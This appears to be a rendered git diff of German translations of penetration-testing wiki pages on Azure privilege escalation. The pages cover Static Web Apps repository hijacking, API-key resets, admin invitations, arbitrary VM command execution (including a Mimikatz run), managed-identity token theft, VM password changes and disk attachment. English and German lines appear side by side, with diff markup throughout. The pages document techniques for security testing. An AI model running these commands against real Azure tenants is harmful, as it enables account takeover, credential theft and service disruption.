Wenn die **Deployment Authorization Policy** auf **Github** eingestellt ist, ist es jedoch möglich, **die App aus dem neuen Quell-Repository zu aktualisieren!**.
|
||||
|
||||
Falls die **Deployment Authorization Policy** nicht auf Github eingestellt ist, können Sie dies mit der gleichen Berechtigung `Microsoft.Web/staticSites/write` ändern.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -179,117 +168,109 @@ az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Example Github Action to deploy the app:
|
||||
|
||||
Beispiel-Github-Action zum Bereitstellen der App:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
|
||||
jobs:
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **den API-Schlüssel der statischen Webanwendung zurückzusetzen**, was potenziell die Workflows, die die Anwendung automatisch bereitstellen, DoSing kann.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
|
||||
|
||||
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
|
||||
Diese Berechtigung ermöglicht es, **eine Einladung an einen Benutzer** zu erstellen, um auf geschützte Pfade innerhalb einer statischen Webanwendung mit einer bestimmten Rolle zuzugreifen.
|
||||
|
||||
Der Login befindet sich in einem Pfad wie `/.auth/login/github` für GitHub oder `/.auth/login/aad` für Entra ID, und ein Benutzer kann mit dem folgenden Befehl eingeladen werden:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
```
|
||||
|
||||
### Pull Requests
|
||||
|
||||
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
|
||||
Standardmäßig werden Pull Requests von einem Branch im selben Repo automatisch in einer Staging-Umgebung kompiliert und gebaut. Dies könnte von einem Angreifer mit Schreibzugriff auf das Repo, der jedoch nicht in der Lage ist, die Branch-Schutzmaßnahmen des Produktions-Branches (normalerweise `main`) zu umgehen, ausgenutzt werden, um **eine bösartige Version der App** in der Staging-URL bereitzustellen.
|
||||
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
Die Staging-URL hat dieses Format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` wie: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
||||
|
||||
> Beachten Sie, dass externe PRs standardmäßig keine Workflows ausführen, es sei denn, sie haben mindestens 1 PR in das Repository gemergt. Ein Angreifer könnte einen gültigen PR an das Repo senden und **dann einen bösartigen PR** an das Repo senden, um die bösartige App in der Staging-Umgebung bereitzustellen. JEDOCH gibt es einen unerwarteten Schutz: Die standardmäßige Github Action zum Bereitstellen in die statische Web-App benötigt Zugriff auf das Geheimnis, das das Bereitstellungstoken enthält (wie `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), selbst wenn die Bereitstellung mit dem IDToken erfolgt. Das bedeutet, dass ein externer PR keinen Zugriff auf dieses Geheimnis hat und ein externer PR den Workflow nicht ändern kann, um hier ein beliebiges Token zu platzieren, ohne dass ein PR akzeptiert wird. **Dieser Angriff wird also nicht wirklich funktionieren**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VMS & Netzwerk
|
||||
|
||||
Für weitere Informationen zu Azure Virtual Machines und Netzwerk siehe:
|
||||
Für weitere Informationen zu Azure Virtuellen Maschinen und Netzwerk siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,7 +12,7 @@ Für weitere Informationen zu Azure Virtual Machines und Netzwerk siehe:
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
Diese Berechtigung ermöglicht das Ausführen von Erweiterungen in virtuellen Maschinen, die es ermöglichen, **willkürlichen Code auf ihnen auszuführen**.\
|
||||
Diese Berechtigung erlaubt das Ausführen von Erweiterungen in virtuellen Maschinen, die es ermöglichen, **willkürlichen Code auf ihnen auszuführen**.\
|
||||
Beispiel für den Missbrauch von benutzerdefinierten Erweiterungen, um willkürliche Befehle in einer VM auszuführen:
|
||||
|
||||
{{#tabs }}
|
||||
@@ -251,7 +251,7 @@ az vm application set \
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
Dies ist der grundlegendste Mechanismus, den Azure bereitstellt, um **willkürliche Befehle in VMs auszuführen:**
|
||||
Dies ist der grundlegendste Mechanismus, den Azure bereitstellt, um **willkürliche Befehle in VMs auszuführen:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -298,19 +298,19 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
Diese Berechtigung ermöglicht es einem Benutzer, **sich als Benutzer in eine VM über SSH oder RDP anzumelden** (sofern die Entra ID-Authentifizierung in der VM aktiviert ist).
|
||||
Diese Berechtigung ermöglicht es einem Benutzer, **sich als Benutzer über SSH oder RDP in eine VM einzuloggen** (sofern die Entra ID-Authentifizierung in der VM aktiviert ist).
|
||||
|
||||
Anmeldung über **SSH** mit **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** und über **RDP** mit Ihren **regulären Azure-Anmeldeinformationen**.
|
||||
Login über **SSH** mit **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** und über **RDP** mit Ihren **regulären Azure-Anmeldeinformationen**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
Diese Berechtigung ermöglicht es einem Benutzer, **sich als Benutzer in eine VM über SSH oder RDP anzumelden** (sofern die Entra ID-Authentifizierung in der VM aktiviert ist).
|
||||
Diese Berechtigung ermöglicht es einem Benutzer, **sich als Benutzer über SSH oder RDP in eine VM einzuloggen** (sofern die Entra ID-Authentifizierung in der VM aktiviert ist).
|
||||
|
||||
Anmeldung über **SSH** mit **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** und über **RDP** mit Ihren **regulären Azure-Anmeldeinformationen**.
|
||||
Login über **SSH** mit **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** und über **RDP** mit Ihren **regulären Azure-Anmeldeinformationen**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All diese Berechtigungen sind notwendig, um **eine VM mit einer bestimmten verwalteten Identität zu erstellen** und einen **Port offen zu lassen** (22 in diesem Fall). Dies ermöglicht es einem Benutzer, eine VM zu erstellen und sich mit ihr zu verbinden und **Token der verwalteten Identität zu stehlen**, um die Berechtigungen zu eskalieren.
|
||||
All diese Berechtigungen sind notwendig, um **eine VM mit einer bestimmten verwalteten Identität zu erstellen** und einen **Port offen zu lassen** (22 in diesem Fall). Dies ermöglicht es einem Benutzer, eine VM zu erstellen und sich mit ihr zu verbinden sowie **Token der verwalteten Identität zu stehlen**, um Privilegien zu eskalieren.
|
||||
|
||||
Je nach Situation könnten mehr oder weniger Berechtigungen erforderlich sein, um diese Technik auszunutzen.
|
||||
```bash
|
||||
@@ -327,7 +327,7 @@ az vm create \
|
||||
```
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen sind ausreichend, um **neue verwaltete Identitäten einem VM zuzuweisen**. Beachten Sie, dass eine VM mehrere verwaltete Identitäten haben kann. Sie kann die **systemzugewiesene Identität** und **viele benutzerverwaltete Identitäten** haben.\
|
||||
Diese Berechtigungen sind ausreichend, um **neue verwaltete Identitäten einem VM zuzuweisen**. Beachten Sie, dass eine VM mehrere verwaltete Identitäten haben kann. Sie kann die **systemzugewiesene** und **viele benutzerverwaltete Identitäten** haben.\
|
||||
Von dem Metadatenservice aus ist es dann möglich, Tokens für jede einzelne zu generieren.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
@@ -349,7 +349,7 @@ Dann muss der Angreifer **irgendwie die VM kompromittiert haben**, um Tokens von
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
|
||||
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
|
||||
|
||||
Diese Berechtigungen ermöglichen es, den Benutzer und das Passwort der virtuellen Maschine zu ändern, um darauf zuzugreifen:
|
||||
```bash
|
||||
@@ -359,6 +359,22 @@ az vm user update \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
|
||||
|
||||
Diese Berechtigungen ermöglichen es Ihnen, Festplatten und Netzwerkschnittstellen zu verwalten, und sie ermöglichen es Ihnen, eine Festplatte an eine virtuelle Maschine anzuhängen.
|
||||
```bash
|
||||
# Update the disk's network access policy
|
||||
az disk update \
|
||||
--name <disk-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--network-access-policy AllowAll
|
||||
|
||||
# Attach the disk to a virtual machine
|
||||
az vm disk attach \
|
||||
--vm-name <vm-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--name <disk-name>
|
||||
```
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
Laut den [**Docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) ermöglicht diese Berechtigung die Verwaltung des Betriebssystems Ihrer Ressource über das Windows Admin Center als Administrator. Es scheint also, dass dies Zugriff auf das WAC gewährt, um die VMs zu steuern...
|
||||
|
||||
Reference in New Issue
Block a user